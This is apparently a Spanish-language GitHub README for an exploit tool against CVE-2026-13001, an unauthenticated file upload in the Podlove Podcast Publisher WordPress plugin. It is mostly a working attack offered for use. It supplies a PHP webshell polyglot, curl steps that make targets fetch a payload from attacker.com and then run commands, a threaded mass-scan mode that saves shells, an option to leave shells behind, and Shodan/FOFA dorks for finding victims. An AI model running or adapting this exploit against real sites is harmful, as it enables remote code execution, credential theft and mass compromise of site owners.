
Exploit para CVE-2026-13001, una subida arbitraria de archivos sin autenticación en el plugin de WordPress Podlove Podcast Publisher, que permite la ejecución remota de código mediante la subida de archivos poliglotas PHP. Incluye modos de escaneo de objetivo único y masivo.
CVE-2026-13001 es una vulnerabilidad crítica (CVSS 9.8) de subida arbitraria de archivos sin autenticación en el plugin de WordPress Podlove Podcast Publisher versiones ≤ 4.5.1.
La vulnerabilidad explota una discrepancia entre dos funciones internas que analizan las extensiones de archivo de manera diferente:
is_image()basename()shell.php?.gif.gifextract_file_extension() usa solo la ruta de parse_url() → devuelve .php → el archivo se guarda con extensión .php 🚨Los atacantes suben políglotas PHP GIF89a (cabecera GIF válida + PHP incrustado) que pasan la validación de imagen pero se ejecutan como PHP al ser accedidos.
| Versión | Estado |
|---|---|
| ≤ 4.5.1 | Vulnerable |
| 4.5.2+ | Parcheada |
Descubierto por: Talal Nasraddeen vía Wordfence (14 de julio de 2026)
// is_image() — usa basename() que incluye la cadena de consulta
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ EVADIDO
// extract_file_extension() — usa solo la ruta de parse_url()
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 GUARDADO COMO .php
1. El atacante aloja un políglota PHP GIF89a en attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() valida la extensión .gif → PASA
4. El plugin descarga el archivo → lo guarda como test_original.php en cache/
5. El atacante accede a /wp-content/cache/podlove/{hash}/test_original.php
6. PHP se ejecuta → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# Objetivo único
python cve_2026_13001.py -t target.com
# Escaneo masivo
python cve_2026_13001.py -f targets.txt -o shells.txt
# URL de payload personalizada
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# Modo depuración, dejar shells
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target Objetivo único (dominio o IP)
-f, --file Lista de objetivos, uno por línea
-o, --output Guardar URLs RCE en un archivo
--payload-url URL que aloja el políglota PHP (por defecto: GitHub raw)
--threads Trabajadores concurrentes (por defecto: 30)
--no-cleanup Dejar shells en el objetivo
--debug Mostrar cada solicitud HTTP
-v, --verbose Salida detallada
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : SÍ v4.5.1
Subida : SÍ
RCE : SÍ
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Salida : uid=33(www-data) gid=33(www-data)
Tiempo : 4.2s
Objetivos: 500 | Hilos: 30
URL del payload: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
Paso 1 — Alojar un shell políglota
// shell.php — guárdalo y alójalo en tu servidor
GIF89a<?php system($_GET['c']); ?>
Paso 2 — Codificar en hexadecimal la URL con la evasión
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
Paso 3 — Activar la descarga de caché
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
Paso 4 — Acceder al shell
# Ruta: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
Una explotación exitosa produce ejecución remota de código como el usuario del servidor web:
wp-config.php → credenciales de la base de datosSOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
Los autores no asumen ninguna responsabilidad por el mal uso.
| Recurso | Enlace |
|---|---|
| Aviso de Wordfence | wordfence.com |
| Comunicado de seguridad de Podlove | podlove.org |
| Entrada NVD | CVE-2026-13001 |
| Investigador | Talal Nasraddeen |
No afiliado con Podlove.